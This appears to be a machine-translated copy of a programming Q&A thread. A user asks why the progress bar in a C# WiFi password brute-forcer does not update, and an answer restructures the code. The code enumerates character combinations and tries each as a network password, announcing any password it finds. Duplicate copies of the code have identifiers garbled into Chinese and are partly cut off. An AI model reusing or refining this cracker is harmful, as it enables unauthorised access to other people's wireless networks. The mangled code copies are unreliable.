C#预计时间问题
我已经在C#中创建了windows窗体应用程序,用于计算估计时间,但当我单击开始按钮开始计算估计时间进度栏时,它不会更改 问题在哪里C#预计时间问题,c#,time,C#,Time,我已经在C#中创建了windows窗体应用程序,用于计算估计时间,但当我单击开始按钮开始计算估计时间进度栏时,它不会更改 问题在哪里 private delegate void SetControlPropertyThreadSafeDelegate( Control control, string propertyName, object propertyValue); public static void SetControl
private delegate void SetControlPropertyThreadSafeDelegate(
Control control,
string propertyName,
object propertyValue);
public static void SetControlPropertyThreadSafe(
Control control,
string propertyName,
object propertyValue)
{
if (control.InvokeRequired)
{
control.Invoke(new SetControlPropertyThreadSafeDelegate
(SetControlPropertyThreadSafe),
new object[] { control, propertyName, propertyValue });
}
else
{
control.GetType().InvokeMember(
propertyName,
BindingFlags.SetProperty,
null,
control,
new object[] { propertyValue });
}
}
ulong permutations = 0;
public void bruteforce_crack(AccessPoint selectedAP)
{
char[] arr = output.ToCharArray();
int max = Convert.ToInt32(numericUpDown2.Value);
int min = Convert.ToInt32(numericUpDown1.Value);
for (int i = min; i <= max; i++)
{
permutations += (ulong)Math.Pow(arr.Count(), i);
}
SetControlPropertyThreadSafe(label31, "Text", permutations.ToString());
for (int i = min; i <= max; i++)
{
bruteforce(arr, "", 0, i, selectedAP);
}
}
Stopwatch sw = new Stopwatch();
int elapsedSec = 0;
int estimatedTime = 0;
int passwordLeft = 0;
int speed = 0;
private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
{
timer1.Start();
sw.Start();
if (pos < length)
{
foreach (char ch in fin)
{
bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);
elapsedSec = Convert.ToInt32(sw.Elapsed.TotalSeconds);
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pwd;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
}
}
else
{
try
{
SetControlPropertyThreadSafe(label4, "Text", pwd);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
speed = count / elapsedSec;
SetControlPropertyThreadSafe(label23, "Text", speed + " passwords/s");
passwordLeft = (int)permutations - count;
estimatedTime = speed * (int)permutations - passwordLeft * speed;
SetControlPropertyThreadSafe(progressBar1, "Maximum", (int)permutations);
SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime);
SetControlPropertyThreadSafe(label30, "Text", estimatedTime.ToString() + "%");
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
var timeEnded = DateTime.Now;
SetControlPropertyThreadSafe(label4, "Text", pwd);
MessageBox.Show("Password is :" + pwd, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
sw.Stop();
return;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
private void timer1_Tick(object sender, EventArgs e)
{
SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime + 1);
}
private委托void SetControlPropertyThreadSafeDelegate(
控制控制,
字符串propertyName,
对象属性值);
公共静态void SetControlPropertyThreadSafe(
控制控制,
字符串propertyName,
对象属性(值)
{
if(control.invokererequired)
{
调用(新的SetControlPropertyThreadSafeDelegate
(SetControlPropertyThreadSafe),
新对象[]{control,propertyName,propertyValue});
}
其他的
{
control.GetType().InvokeMember(
propertyName,
BindingFlags.SetProperty,
无效的
控制
新对象[]{propertyValue});
}
}
ulong置换=0;
公共无效暴力破解(访问点选择AP)
{
char[]arr=output.ToCharArray();
int max=转换为32(numericUpDown2.Value);
int min=Convert.ToInt32(numericUpDown1.Value);
对于(int i=min;i您的进度条形码从未运行过
解决方案:更改bruteforce方法。将所有代码从else语句移动到if语句,并删除else语句,如下所示:
private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
{
timer1.Start();
sw.Start();
if (pos < length)
{
foreach (char ch in fin)
{
bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);
elapsedSec = Convert.ToInt32(sw.Elapsed.TotalSeconds);
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pwd;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
}
try
{
SetControlPropertyThreadSafe(label4, "Text", pwd);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
speed = count / elapsedSec;
SetControlPropertyThreadSafe(label23, "Text", speed + " passwords/s");
passwordLeft = (int)permutations - count;
estimatedTime = speed * (int)permutations - passwordLeft * speed;
SetControlPropertyThreadSafe(progressBar1, "Maximum", (int)permutations);
SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime);
SetControlPropertyThreadSafe(label30, "Text", estimatedTime.ToString() + "%");
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
var timeEnded = DateTime.Now;
SetControlPropertyThreadSafe(label4, "Text", pwd);
MessageBox.Show("Password is :" + pwd, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
sw.Stop();
return;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
private void bruteforce(char[]fin,String pwd,int pos,int length,AccessPoint selectedAP)
{
timer1.Start();
sw.Start();
如果(位置<长度)
{
foreach(字符在fin中)
{
蛮力(鳍、pwd+ch、位置+1、长度、选定的AP);
elapsedSec=转换为32(sw.已用时间.TotalSeconds);
//认证
AuthRequest AuthRequest=新的AuthRequest(selectedAP);
bool覆盖=真;
if(authRequest.IsPasswordRequired)
{
如果(覆盖)
{
if(authRequest.IsUsernameRequired)
{
控制台。写入(“\r\n请输入用户名:”);
authRequest.Username=Console.ReadLine();
}
authRequest.Password=pwd;
if(authRequest.IsDomainSupported)
{
Console.Write(“\r\n请输入域:”);
authRequest.Domain=Console.ReadLine();
}
}
}
选择AP.ConnectAsync(authRequest、overwrite、OnConnectedComplete);
}
尝试
{
SetControlPropertyThreadSafe(标签4,“文本”,pwd);
SetControlPropertyThreadSafe(标签5,“文本”,count.ToString());
计数++;
速度=计数/延时秒;
SetControlPropertyThreadSafe(标签23,“文本”,速度+密码/s);
passwordLeft=(int)置换-计数;
estimatedTime=速度*(int)置换-密码左*速度;
SetControlPropertyThreadSafe(progressBar1,“最大值”(int)置换);
SetControlPropertyThreadSafe(progressBar1,“值”,估计时间);
SetControlPropertyThreadSafe(label30,“文本”,estimatedTime.ToString()+“%”);
if(check(selectedAP)==true&&CheckForInternetConnection()==true)
{
var timeend=DateTime.Now;
SetControlPropertyThreadSafe(标签4,“文本”,pwd);
显示(“密码为:+pwd,“Wifi暴力”,MessageBoxButtons.OK,MessageBoxIcon.Information);
SetControlPropertyThreadSafe(标签34,“文本”,timeEnded.ToString());
sw.Stop();
返回;
}
}
捕获(例外情况除外)
{
MessageBox.Show(例如Message);
}
}
}
您是否尝试过任何类型的调试?计时器的频率是多少?您似乎已经做了一些线程安全的事情来更新计时器,但您正在UI线程中运行所有这些,因此很可能无法更新设置计时器。窗体加载中的间隔=100问题在哪里?